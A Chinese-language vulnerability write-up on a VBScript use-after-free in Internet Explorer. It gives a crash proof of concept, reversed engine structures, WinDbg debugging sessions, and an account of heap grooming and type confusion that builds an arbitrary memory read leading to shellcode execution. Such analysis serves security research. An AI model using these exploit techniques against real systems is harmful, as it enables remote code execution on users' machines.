<html lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta http-equiv="x-ua-compatible" content="IE=10">
<meta http-equiv="Expires" content="0">
<meta http-equiv="Pragma" content="no-cache">
<meta http-equiv="Cache-control" content="no-cache">
<meta http-equiv="Cache" content="no-cache">
<body>
<script language="vbscript">
Dim array()
Dim array2(1)
Class MyClass
Private Sub Class_Terminate
Set array2(0)=array(1)
array(1)=1
End Sub
End Class
Redim array(1)
Set array(1)=New MyClass
Erase array
array2(0)=0
script>
body>
html>
具体原理我的理解是MyClass赋值给array(1)之后擦除时,触发了Class_Terminate,array(1)又被赋值给array2(0),导致array2(0)仍然维持New MyClass引用变成悬挂指针,最后再次把array擦除,导致触发UAF崩溃
逆向结果
struct __declspec(align(4)) VBScriptClass
{
unsigned int NameVTbl;
VBScriptClass+0x8字段为RefCount
unsigned int RefCount;
unsigned int f3;
unsigned int f4;
unsigned int ThreadId;
unsigned int IPinnablVtbl;
unsigned int CPinVtbl;
unsigned int f8;
unsigned int f9;
unsigned int f10;
unsigned int f11;
unsigned int f12;
unsigned int CheckFlag;
unsigned int f14;
unsigned int f15;
unsigned int f16;
unsigned int f17;
};
//VBScriptClass的释放函数
signed __int32 __stdcall VBScriptClass::Release(CMyVBScriptClass *this)
{
volatile signed __int32 *RefCountRef; // esi
signed __int32 result; // eax
unsigned int CheckFlagRef; // edi
int v4; // [esp+0h] [ebp-10h]
int resultRef; // [esp+Ch] [ebp-4h]
RefCountRef = (volatile signed __int32 *)&this->RefCount;
//在释放时减少引用计数RefCount
result = _InterlockedDecrement((volatile signed __int32 *)&this->RefCount);
if ( !result )
{
// 当RefCount小于1时执行销毁函数VBScriptClass::TerminateClass
CheckFlagRef = this->CheckFlag;
this->CheckFlag = 1;
_InterlockedExchangeAdd(RefCountRef, 1u);
VBScriptClass::TerminateClass((VBScriptClass *)this, 1);
result = _InterlockedDecrement(RefCountRef);
resultRef = result;
this->CheckFlag = CheckFlagRef;
// 当RefCount小于1ren仍然小于1 抛出异常
if ( !result )
{
if ( CheckFlagRef )
VBScriptClass_NestedRelease_Fatal_Error((unsigned int)this);
(*(void (__thiscall **)(CMyVBScriptClass *))(this->NameVTbl + 100))(this);
if ( &v4 != &v4 )
__fastfail(4u);
VBScriptClass::CheckDelete((VBScriptClass *)this);
result = resultRef;
}
}
return result;
}
调试过程
可以使用命令gflags /p /enable iexplore.exe /ful查看下断点在
bp vbscript!VBScriptClass::VBScriptClass
bp vbscript!VAR::Clear “dt ole32!VARIANTARG @ecx; dps poi( @ecx+0x008)”
调试输出:
0:007> bp vbscript!VBScriptClass::VBScriptClass
0:007> g
Breakpoint 0 hit
//这里看到的VBScriptClass的实例对象为ecx=0e4b5fd0
eax=0e4b5fd0 ebx=049fbafc ecx=0e4b5fd0 edx=00000000 esi=0e48df95 edi=0e46af88
eip=6c339432 esp=049fb9e8 ebp=049fb9fc iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
vbscript!VBScriptClass::VBScriptClass:
6c339432 8bff mov edi,edi
0:007> dps 0e4b5fd0
0e4b5fd0 6c31206c vbscript!VBScriptClass::`vftable'
//vbscript!VBScriptClass->RefCount引用计数为1
0e4b5fd4 00000001
0e4b5fd8 00000000
0e4b5fdc 0e46af88
0e4b5fe0 00000f00
0e4b5fe4 00000000
0e4b5fe8 00000000
0e4b5fec 00000000
0e4b5ff0 00000000
0e4b5ff4 0c694fe4
0e4b5ff8 00000000
0e4b5ffc 00000000
0:007> g
(ba4.f00): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0e4b5fd0 ebx=6c870e50 ecx=00000009 edx=00000009 esi=0bc28fe0 edi=00000009
eip=76c24971 esp=049fbd30 ebp=049fbd38 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210202
OLEAUT32!VariantClear+0xb3:
//这里导致UAF的指针正好是vbscript!VBScriptClass的指针即之前的ecx=0e4b5fd0
76c24971 8b08 mov ecx,dword ptr [eax] ds:0023:0e4b5fd0=????????
0:007> !heap -p -a eax
address 0e4b5fd0 found in
_DPH_HEAP_ROOT @ 1941000
in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize)
ba13784: e4b5000 2000
72cc90b2 verifier!AVrfDebugPageHeapFree+0x000000c2
773566ac ntdll!RtlDebugFreeHeap+0x0000002f
7731a13e ntdll!RtlpFreeHeap+0x0000005d
772e65a6 ntdll!RtlFreeHeap+0x00000142
756698cd msvcrt!free+0x000000cd
6c32717a vbscript!VBScriptClass::`scalar deleting destructor'+0x0000001a
6c3271fd vbscript!VBScriptClass::Release+0x00000053
76c24977 OLEAUT32!VariantClear+0x000000b9
76c3e325 OLEAUT32!ReleaseResources+0x000000a3
76c3dfb3 OLEAUT32!_SafeArrayDestroyData+0x00000048
76c45d2d OLEAUT32!SafeArrayDestroyData+0x0000000f
76c45d13 OLEAUT32!Thunk_SafeArrayDestroyData+0x00000039
6c3752d0 vbscript!VbsErase+0x00000050
6c314787 vbscript!StaticEntryPoint::Call+0x0000002f
6c3157cb vbscript!CScriptRuntime::RunNoEH+0x00001d74
6c31526e vbscript!CScriptRuntime::Run+0x000000c3
6c31518b vbscript!CScriptEntryPoint::Call+0x0000010b
6c3159bd vbscript!CSession::Execute+0x00000156
6c315c6b vbscript!COleScript::ExecutePendingScripts+0x0000014f
6c338ed8 vbscript!COleScript::ParseScriptTextCore+0x0000023e
6c31c1d9 vbscript!COleScript::ParseScriptText+0x00000029
663458a5 MSHTML!CActiveScriptHolder::ParseScriptText+0x00000051
666525ae MSHTML!CScriptCollection::ParseScriptText+0x00000193
66346669 MSHTML!CScriptData::CommitCode+0x00000370
66346204 MSHTML!CScriptData::Execute+0x000002a9
66346ca4 MSHTML!CHtmScriptParseCtx::Execute+0x00000130
66152c60 MSHTML!CHtmParseBase::Execute+0x00000196
66086343 MSHTML!CHtmPost::Broadcast+0x00000153
660860f8 MSHTML!CHtmPost::Exec+0x000005d9
6610fc08 MSHTML!CHtmPost::Run+0x0000003d
6610fb6e MSHTML!PostManExecute+0x00000061
6611a826 MSHTML!PostManResume+0x0000007b
先创建11空的TEMPVALIl的VBScriptClass填充内存,再填充12个MYClASS2,再用6个cla1类同时擦除的arraya,构造6个arrayb悬挂指针,最后构造1个mycls2=MYClASS2,一共7个MYClASS2的内存结构
最后这个MYClASS2有个SetProp方法,可以把MYClASS2类中Mem成员赋值成Confusion类,并触发Confusion类下P属性,其中再次清空6个arrayb悬挂指针,然后构造6个MYClASS1赋值给6个arrayb悬挂指针,MYClASS2和MYClASS1类中具有相同偏移量的Mem成员,这里MYClASS1类mem是预先定义好的FakeArray数组(之前是BSTR),
由于6个arrayb悬挂指针后有1个MYClASS2,6个arrayb悬挂指针是6个MYClASS1,那么最后P属性的返回值必定在MYClASS1和MYClASS2的错位处混肴,在下面的调试过程中证明MYClASS2指针与MYClASS1重叠即指针地址相同,利用P的值精心构造内存结构将MYClASS1类mem类型从BSTR混肴成Array类型,从而实现任意内存读取
调试过程
仍然以VBScriptClass构造函数为断点
bp vbscript!VBScriptClass::VBScriptClass “dps @ecx”
因为vbscript断点不好下,所有我在poc中加入alert以辅助定位至关键的VBScriptClass构造函数,具体位置见我修改的poc源码,在文章底部
调试输出:
0:016> bp vbscript!VBScriptClass::VBScriptClass "dps @ecx"
0:016> g
005ff040 6c1affff vbscript!Parser::ParseSource+0x1
005ff044 00000000
005ff048 00000000
005ff04c 00000000
005ff050 00000ce4
005ff054 00000000
005ff058 00000000
//alert one 第一次断下MYClASS2实例对应的ecx=005ff040
eax=005ff040 ebx=02d5b53c ecx=005ff040 edx=00466538 esi=00621489 edi=005b1320
eip=6c1c9432 esp=02d5b428 ebp=02d5b43c iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
vbscript!VBScriptClass::VBScriptClass:
6c1c9432 8bff mov edi,edi
0:007> g
(50c.d08): Break instruction exception - code 80000003 (first chance)
eax=7ffd9000 ebx=00000000 ecx=00000000 edx=77d8f1d3 esi=00000000 edi=00000000
eip=77d24108 esp=0981fcec ebp=0981fd18 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!DbgBreakPoint:
77d24108 cc int 3
0:005> g
006115f0 00610009
006115f4 00612074
006115f8 6c3621c4 jscript9!JsVarToExtension+0x4ef4
006115fc 00000000
00611600 03d00000
00611604 00000020
00611608 00000000
//alert two 第二次断下MYClASS2实例对应的ecx=006115f0
eax=006115f0 ebx=02d5b53c ecx=006115f0 edx=00466538 esi=00621489 edi=005b1320
eip=6c1c9432 esp=02d5b428 ebp=02d5b43c iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200206
vbscript!VBScriptClass::VBScriptClass:
6c1c9432 8bff mov edi,edi
0:007> g
(50c.398): Break instruction exception - code 80000003 (first chance)
eax=7ffda000 ebx=00000000 ecx=00000000 edx=77d8f1d3 esi=00000000 edi=00000000
eip=77d24108 esp=042efa80 ebp=042efaac iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!DbgBreakPoint:
77d24108 cc int 3
0:004> dc 005ff040
//指向MYClASS2->mem的结构地址=0060cc10
005ff040 6c1a206c 00000001 0060cc10 005b1320 l .l......`. .[.
005ff050 00000ce4 00000000 00000000 00000000 ................
005ff060 00000000 02790c64 006115f0 005ff008 ....d.y...a..._.
005ff070 00000000 00000000 2d933c1c 08087c46 .........<.-F|..
005ff080 0046f318 005a60f0 0000000d f0e0d0c0 ..F..`Z.........
005ff090 37441a8a 8c000000 6c36232c 02b56000 ..D7....,#6l.`..
005ff0a0 005f6b60 00000003 00000006 00000001 `k_.............
005ff0b0 00000013 02b575b0 02b5c000 00000000 .....u..........
0:004> dc 0060cc10
0060cc10 0060f820 000000ac 00000100 00000100 .`.............
0060cc20 00004000 0060f824 0060f8b8 005bd580 .@..$.`...`...[.
0060cc30 0000000f 00000003 00000040 00000003 ........@.......
0060cc40 00000014 0060cc48 0060f824 0060f858 ....H.`.$.`.X.`.
//结构地址中根据偏移量找出指向MYClASS2->mem的指针,错位前=0060f898
0060cc50 0060f898 00000000 000010be 00001190 ..`.............
0060cc60 00000000 0060c864 0060cd40 00000001 ....d.`.@.`.....
0060cc70 00000000 00001193 00001194 006093b8 ..............`.
0060cc80 00000001 00000000 00001195 0000119e ................
0:004> dc 0060f898
0060f898 00000000 006048b8 00000022 00000000 .....H`.".......
0060f8a8 00000000 00001b36 0000822f 00000006 ....6.../.......
0060f8b8 00000000 00000000 00000003 00001b01 ................
0060f8c8 0065006d 0000006d 0060f840 0060f97c m.e.m...@.`.|.`.
0060f8d8 00000001 00000000 00001b39 00001b42 ........9...B...
0060f8e8 00609578 00000001 00000000 00001b43 x.`.........C...
0060f8f8 00001b4c 00609578 00000001 00000000 L...x.`.........
0060f908 00001b4e 00001b5b 00609b90 00000001 N...[.....`.....
0:004> dc 0060f88c
0060f88c 00500074 006f0072 00000070 00000000 t.P.r.o.p.......
0060f89c 006048b8 00000022 00000000 00000000 .H`."...........
0060f8ac 00001b36 0000822f 00000006 00000000 6.../...........
0060f8bc 00000000 00000003 00001b01 0065006d ............m.e.
0060f8cc 0000006d 0060f840 0060f97c 00000001 m...@.`.|.`.....
0060f8dc 00000000 00001b39 00001b42 00609578 ....9...B...x.`.
0060f8ec 00000001 00000000 00001b43 00001b4c ........C...L...
0060f8fc 00609578 00000001 00000000 00001b4e x.`.........N...
0:004> dc 0060f898
0060f898 00000000 006048b8 00000022 00000000 .....H`.".......
0060f8a8 00000000 00001b36 0000822f 00000006 ....6.../.......
0060f8b8 00000000 00000000 00000003 00001b01 ................
0060f8c8 0065006d 0000006d 0060f840 0060f97c m.e.m...@.`.|.`.
0060f8d8 00000001 00000000 00001b39 00001b42 ........9...B...
0060f8e8 00609578 00000001 00000000 00001b43 x.`.........C...
0060f8f8 00001b4c 00609578 00000001 00000000 L...x.`.........
0060f908 00001b4e 00001b5b 00609b90 00000001 N...[.....`.....
0:004> g
005ff040 6c1affff vbscript!Parser::ParseSource+0x1
005ff044 00000000
005ff048 00000000
005ff04c 00000000
005ff050 00000ce4
005ff054 00000000
005ff058 00000000
005ff05c 00000000
005ff060 00000000
005ff064 02790c64
005ff068 00000000
005ff06c 00000000
005ff070 00000000
005ff074 00000000
005ff078 2d933c1c
005ff07c 08087c46
005ff080 0046f318
005ff084 005a60f0
005ff088 0000000d
005ff08c f0e0d0c0
005ff090 37441a8a
005ff094 8c000000
005ff098 6c36232c jscript9!JsVarToExtension+0x505c
005ff09c 02b56000
005ff0a0 005f6b60
005ff0a4 00000003
005ff0a8 00000006
005ff0ac 00000001
005ff0b0 00000013
005ff0b4 02b575b0
005ff0b8 02b5c000
005ff0bc 00000000
//alert work1 第三次断下MYClASS1实例对应的ecx=005ff040,与MYClASS2实例指针重叠在此证明
eax=005ff040 ebx=02d5a804 ecx=005ff040 edx=00466538 esi=006213ad edi=005b1320
eip=6c1c9432 esp=02d5a6f0 ebp=02d5a704 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
vbscript!VBScriptClass::VBScriptClass:
6c1c9432 8bff mov edi,edi
0:007> g
006115f0 6c1a0010 vbscript!__xc_a (vbscript+0x10)
006115f4 00000000
006115f8 00000000
006115fc 00000000
00611600 00000ce4
00611604 00000000
00611608 00000000
0061160c 00000000
00611610 00000000
00611614 02790c8c
00611618 00000000
0061161c 00000000
00611620 3743c17c
00611624 8c0013d8
00611628 6c1b33b4 vbscript!DexCaller::`vftable'
0061162c 6c1c8890 vbscript!DexCaller::`vftable'
00611630 6c1c8880 vbscript!DexCaller::`vftable'
00611634 00000002
00611638 005b1320
0061163c 005fea90
00611640 02794fb0
00611644 02d5b460
00611648 03d03000
0061164c 00000000
00611650 00000000
00611654 00000000
00611658 3743c173
0061165c 8000211a
00611660 6c1b0017 vbscript!COleScript::AddRef+0x7
00611664 6c1c8890 vbscript!DexCaller::`vftable'
00611668 6c1c8880 vbscript!DexCaller::`vftable'
0061166c 00000000
//alert work2 第四次断下MYClASS1实例对应的ecx=006115f0,同理与MYClASS2实例指针重叠在此证明
eax=006115f0 ebx=02d5a804 ecx=006115f0 edx=00466538 esi=006213ad edi=005b1320
eip=6c1c9432 esp=02d5a6f0 ebp=02d5a704 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200206
vbscript!VBScriptClass::VBScriptClass:
6c1c9432 8bff mov edi,edi
0:007> g
(50c.324): Break instruction exception - code 80000003 (first chance)
eax=7ffd9000 ebx=00000000 ecx=00000000 edx=77d8f1d3 esi=00000000 edi=00000000
eip=77d24108 esp=0948f9c8 ebp=0948f9f4 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!DbgBreakPoint:
77d24108 cc int 3
0:005> dc 005ff040
//再次找出指向MYClASS2->mem也就是MYClASS1->mem的结构地址=0060cc10
005ff040 6c1a206c 00000001 0060cc10 005b1320 l .l......`. .[.
005ff050 00000ce4 00000000 00000000 00000000 ................
005ff060 00000000 027899dc 006115f0 005ff008 ......x...a..._.
005ff070 00000000 00000000 2d933c1c 08087c46 .........<.-F|..
005ff080 0046f318 005a60f0 0000000d f0e0d0c0 ..F..`Z.........
005ff090 37441a8a 8c000000 6c36232c 02b56000 ..D7....,#6l.`..
005ff0a0 005f6b60 00000003 00000006 00000001 `k_.............
005ff0b0 00000013 02b575b0 02b5c000 00000000 .....u..........
0:005> dps 005ff040
005ff040 6c1a206c vbscript!VBScriptClass::`vftable'
005ff044 00000001
005ff048 0060cc10
005ff04c 005b1320
005ff050 00000ce4
005ff054 00000000
005ff058 00000000
005ff05c 00000000
005ff060 00000000
0:005> dc 0060cc10
0060cc10 0060f820 000000b8 00000100 00000100 .`.............
0060cc20 00004000 0060f824 0060f8c4 005bd580 .@..$.`...`...[.
0060cc30 0000000f 00000003 00000040 00000003 ........@.......
0060cc40 00000014 0060cc48 0060f824 0060f86c ....H.`.$.`.l.`.
//结构地址中根据偏移量找出指向MYClASS2->mem也就是MYClASS1->mem的指针,错位前=0060f898,错位后=0060f8a4
0060cc50 0060f8a4 00000000 000010be 00001190 ..`.............
0060cc60 00000000 0060c864 0060cd40 00000001 ....d.`.@.`.....
0060cc70 00000000 00001193 00001194 006093b8 ..............`.
0060cc80 00000001 00000000 00001195 0000119e ................
//错位后=0060f8a4-0060f898正好=0c大小从错位
0:005> dc 0060f8a4
0060f8a4 0000200c 0060a180 02789324 00000000 . ....`.$.x.....
0060f8b4 00000000 00000000 0000822f 00000006 ......../.......
0060f8c4 00000000 00000000 00000003 0060f840 ............@.`.
0060f8d4 0065006d 0000006d 00000000 00001b39 m.e.m.......9...
0060f8e4 00001b42 00609578 00000001 00000000 B...x.`.........
0060f8f4 00001b43 00001b4c 00609578 00000001 C...L...x.`.....
0060f904 00000000 00001b4e 00001b5b 00609b90 ....N...[.....`.
0060f914 00000001 00000000 00001b5c 00001b6b ........\...k...
0:005> dc 0060f898
//错位地址已被Confusion类的P属性覆盖成“00000005 00000000 00000000 0000200c”实现VARIANT类型混淆,其中“00000005”将BSTR混淆为VARIANT|ARRAY
0060f898 00000005 00604ddc 00000000 0000200c .....M`...... ..
0060f8a8 0060a180 02789324 00000000 00000000 ..`.$.x.........
0060f8b8 00000000 0000822f 00000006 00000000 ..../...........
0060f8c8 00000000 00000003 0060f840 0065006d ........@.`.m.e.
0060f8d8 0000006d 00000000 00001b39 00001b42 m.......9...B...
0060f8e8 00609578 00000001 00000000 00001b43 x.`.........C...
0060f8f8 00001b4c 00609578 00000001 00000000 L...x.`.........
0060f908 00001b4e 00001b5b 00609b90 00000001 N...[.....`.....
0:005> dps 006115f0
006115f0 6c1a206c vbscript!VBScriptClass::`vftable'
006115f4 00000001
//同理查看指向外一个MYClASS2->mem的结构地址=0060ce50
006115f8 0060ce50
006115fc 005b1320
00611600 00000ce4
00611604 00000000
00611608 00000000
0061160c 00000000
00611610 00000000
0:005> dc 0060ce50
//另外一个指向MYClASS2->mem也就是MYClASS1->mem的结构地址=0060fd04
0060ce50 0060fc80 000000b8 00000100 00000100 ..`.............
0060ce60 00004000 0060fc84 0060fd24 005bd610 .@....`.$.`...[.
0060ce70 0000000f 00000003 00000040 00000003 ........@.......
0060ce80 00000014 0060ce88 0060fc84 0060fccc ......`...`...`.
0060ce90 0060fd04 fffefffe fffefffe fffefffe ..`.............
0060cea0 fffefffe fffefffe fffefffe fffefffe ................
0060ceb0 fffefffe 00000000 00000000 00000000 ................
0060cec0 00000000 00000000 00000000 00000000 ................
0:005> dc 0060fd04
//另外一个错位地址已被Confusion类的P属性覆盖成“00000003 00000000 00000000 00000000”实现VARIANT类型混淆,其中“00000003”将BSTR混淆为VARIANT|LONG
0060fd04 00000003 0060a180 02790c3c 00000000 ......`.<.y.....
0060fd14 00000000 00000000 0000822f 00000006 ......../.......
0060fd24 00000000 00000000 00000003 00010080 ................
0060fd34 0065006d 0000006d aaaaaaaa aaaaaaaa m.e.m...........
0060fd44 aaaaaaaa aaaaaaaa aaaaaaaa aaaaaaaa ................
0060fd54 00000000 00000000 00000000 00000000 ................
0060fd64 00000000 00000000 00000000 00000000 ................
0060fd74 00000000 00000000 00000000 00000000 ................
读取地址地址代码
Function GetUint32(addr)
Dim value
ArrTEMPGLOBAL.mem(MyVALUE+8)=addr+4
ArrTEMPGLOBAL.mem(MyVALUE)=8 'type string
GetUint32=GetAddrValue
End Function
Function GetAddrValue(addr)
GetAddrValue=Lenb(ArrTEMPGLOBAL.mem(MyVALUE+8))
End Function
//tagSAFEARRAY结构
#pragma pack(push, 8)
struct tagSAFEARRAY
{
USHORT cDims;
USHORT fFeatures;
ULONG cbElements;
ULONG cLocks;
PVOID pvData;
SAFEARRAYBOUND rgsabound[1];
};
#pragma pack(pop)
当实现混肴后,可以通过MYClASS2->mem也就是MYClASS1->mem之泄露的地址mem,因为对于VARIANT类型类型对于的SAFEARRAY结构首部有2个USHORT,加起来长度是4,然后将mem赋值成8即string类型,这个string类型长度->cbElements的指针地址赋值为addr+4,这样再通过GetAddrValue获取这个string的长度就等于读取addr的指针指向的值从而实现任意地址读取,最后获取vbsscript.dll等一系列dll导出函数的基址后,通过清空arrayb悬挂指针指针时触发vbscript!VAR::Clear导致shellcode执行